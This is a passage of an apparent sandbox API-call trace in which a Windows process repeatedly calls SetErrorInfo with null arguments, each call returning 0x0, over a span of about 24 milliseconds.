returned 0x0 [0062.369] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.369] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.370] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.370] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.370] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.370] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.370] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.370] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.370] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.370] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.370] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.370] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.370] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.370] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.371] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.371] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.371] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.371] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.371] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.371] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.371] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.371] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.371] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.371] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.371] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.371] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.371] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.371] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.371] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.371] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.372] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.372] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.372] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.372] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.372] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.372] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.372] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.372] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.372] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.372] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.372] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.372] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.372] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.372] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.372] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.372] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.372] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.373] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.373] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.373] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.373] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.373] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.373] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.373] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.373] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.373] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.373] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.373] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.374] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.374] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.374] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.374] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.374] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.374] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.374] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.374] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.374] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.374] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.374] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.374] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.374] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.374] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.374] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.374] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.375] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.375] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.375] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.375] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.375] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.375] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.375] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.375] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.375] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.375] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.375] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.375] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.375] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.375] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.376] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.376] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.376] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.376] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.376] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.376] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.376] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.376] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.376] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.376] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.376] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.376] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.376] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.376] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.376] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.376] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.376] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.377] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.377] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.377] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.377] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.377] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.377] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.377] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.377] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.377] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.377] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.377] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.377] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.377] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.377] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.377] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.377] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.377] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.378] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.378] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.378] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.378] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.378] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.378] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.378] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.378] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.378] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.378] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.378] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.378] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.378] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.378] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.378] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.378] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.379] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.379] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.379] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.379] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.379] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.379] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.379] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.379] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.379] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.379] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.379] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.379] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.380] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.380] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.380] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.380] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.380] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.380] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.380] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.380] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.381] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.381] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.381] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.381] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.381] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.381] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.381] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.381] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.381] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.381] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.381] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.381] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.382] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.382] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.382] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.382] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.382] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.382] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.382] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.382] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.382] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.382] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.382] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.382] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.382] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.382] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.382] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.382] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.382] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.382] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.383] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.383] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.383] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.383] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.383] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.383] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.383] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.383] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.383] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.383] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.383] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.383] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.383] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.383] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.383] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.383] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.383] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.383] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.383] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.383] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.383] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.384] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.384] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.384] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.384] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.384] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.384] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.384] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.384] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.384] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.384] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.384] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.384] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.385] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.385] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.385] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.385] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.385] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.385] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.385] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.385] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.385] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.385] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.385] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.385] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.385] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.385] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.385] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.385] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.385] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.385] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.386] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.386] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.386] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.386] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.386] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.386] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.386] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.386] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.386] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.386] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.386] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.386] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.386] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.386] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.386] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.386] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.386] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.386] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.386] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.386] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.386] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.387] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.387] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.387] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.387] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.387] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.387] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.387] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.387] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.387] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.387] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.387] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.387] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.388] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.388] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.388] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.388] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.388] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.388] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.388] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.388] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.388] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.388] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.388] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.388] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.388] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.389] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.389] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.389] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.389] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.389] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.389] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.389] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.389] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.389] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.389] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.389] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.389] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.389] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.389] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.390] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.390] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.390] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.390] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.390] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.390] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.390] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.390] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.390] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.390] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.390] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.390] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.390] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.391] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.391] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.391] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.391] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.391] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.391] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.391] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.391] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.391] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.391] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.391] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.391] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.391] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.391] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.392] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.392] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.392] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.392] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.392] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.392] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.392] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.392] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.392] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.392] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.392] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.392] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.393] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.393] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.393] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.393] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.393] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.393] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.393] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.393] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.393] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.393] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.393] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.393] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.393] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.393] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.393] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.393] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.393] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.393] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.393] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 